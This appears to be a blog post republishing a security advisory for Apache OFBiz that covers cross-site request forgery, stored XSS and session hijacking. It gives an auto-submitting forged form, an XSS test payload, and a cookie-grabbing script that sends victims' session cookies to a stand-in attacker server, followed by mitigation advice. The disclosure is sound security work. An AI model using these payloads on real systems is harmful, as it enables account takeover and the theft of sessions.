AntiSnatch0r

The first security advisory I want to publish is inherent to Apache OfBIZ, a really good platform to develop on it ecommerce, crm, cms, BI and other big JEE web applications: Atlassian Jira and a bunch of other commercial products are based on his core.

Well, the multiple vulnerabilities are quite old, but still present both in the stable version 4.0 and svn trunk release. Here it is:

Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
-----------------------------------------------------------------------

                 Key: OFBIZ-1959
                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
             Project: OFBiz
          Issue Type: Bug
          Components: ALL COMPONENTS
    Affects Versions: SVN trunk
            Reporter: Michele Orru
            Priority: Critical
             Fix For: SVN trunk

+++++++++++++++++++++++|||Discovered security issues|||++++++++++++++++++

1.: Cross Site Request Forgery (XSRF) on almost every requests
2.: reflected/stored XSS in search, ProductId/Product Internal name
and so on
3.: Session Hijacking

+++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
1.: As can be verified with your favorite proxy tool (we use Burp), POST
request parameters are never "fortified" to prevent XSRF: no random token
protection can be seen.
For those who don't know what a XSRF is: briefly it is a request that me,
the attacker, force you (the victim) to executes.
 - In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
a potential victim account and 667 the attacker one.
 - In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the
middleattacks, malicious Flash/Applets/ActiveX, and so on.

The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:

        <form method="POST" id="xsrf" name="xsrf" 

action="https://127.0.0.1:8443/catalog/control/createProduct";>
             <input type=hidden name="isCreate" value="true">
             <input type=hidden name="productId" value="hack02">
             <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
             <input type=hidden name="internalName" value="hack02">
       </form>
        <script>document.xsrf.submit(); </script>

Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.

When this JS code will be present in a malicious page (opened by a new tab
of the same browser - not Chrome ahah), his content will be automatically
executed and the POST request will be sent to the application: the product
with Id=hack02 will be persisted inside the DB. Of course a valid party
must be logged in the catalog module, in a way that the global JSESSIONID
cookie value will be the same in every tab of the browser.  

Clearly we can do more than this...

2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and
some stored, exploit them is quite easy: we will exploited only stored
ones.We can for instance replace the value of internalName (that even if
it is a needed parameter is quite un-useful and so prone to store our
malicious code) with something like:

                <input type=hidden name="internalName"

value="<script>alert(document.cookie)</script>">

The malicious code will display every cookie information in a pop-up,
that only the victim will see: obviously we don't want this.

3.: We can then create a little cookie-grabber servlet that listen for
GET request from our victims, extract the useful parameters and store
them in a file or DB, in a way that wen can hijack the session of the
admin/manager.

The internalName value is prone to store our malicious code also because
his maxlength is 255 characters: this gives us a great advantage when
creating a complex injection code, if we don't want to inject a link to
the malicious script like <img src="http://x.x.x.x/malicious.js";>

The malicious code will look as the following one:

<script>
var str=
"http://ourHackServer/CookieWebServlet?cookie="+
                                 document.cookie+"&url="+document.URL;

        if(document.cookie.indexOf("done")<0)\{
               document.cookie="done=true";
               document.location.replace(str);
        }
</script> 

Of course the code can be a lot shorter, and the "already-exploited-check"
can be removed.

After we have a valid JSESSIONID, if we open a browser, go to the grabbed
URL (remember document.URL) that will be an authentication-required
resource, the login page will ask us for valid credentials.
In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new
cookie has been given to us, because we don't have one. If we modify the
JSESSIONID value with the grabbed one, and we make the previous request
another time (just refresh on the login page), then we are riding the same
victim session. If we are lucky and it's an admin, we can do whatever
we want on his/her behalf.

+++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++

Mitigation can be made in two ways:
 - Infrastructure: a web application firewall like ModSecurity can be
deployed in front of Tomcat, in enterprise deployments such as
Apache --> mod_ajp (bettere mod_proxy_ajp) --> Tomcat . This will don't
fix XSRF attacks, but will mitigate XSS and Session Hijacking.
 - Application:
XSS--> input validation on form parameters and GET/POST request values
must be implemented. I was thinking
to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI
project (a really good one), or re-using the ModSecurity
Reg-expression patterns to filter out bad input.
XSRF--> build a class that will implement javax.servlet.Filter and will
add to every GET/POST request a random token that will be unique
and will change every time. In this way (if the entropy is enough and the
algorithm good, it will be quite impossible to guess it).

Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-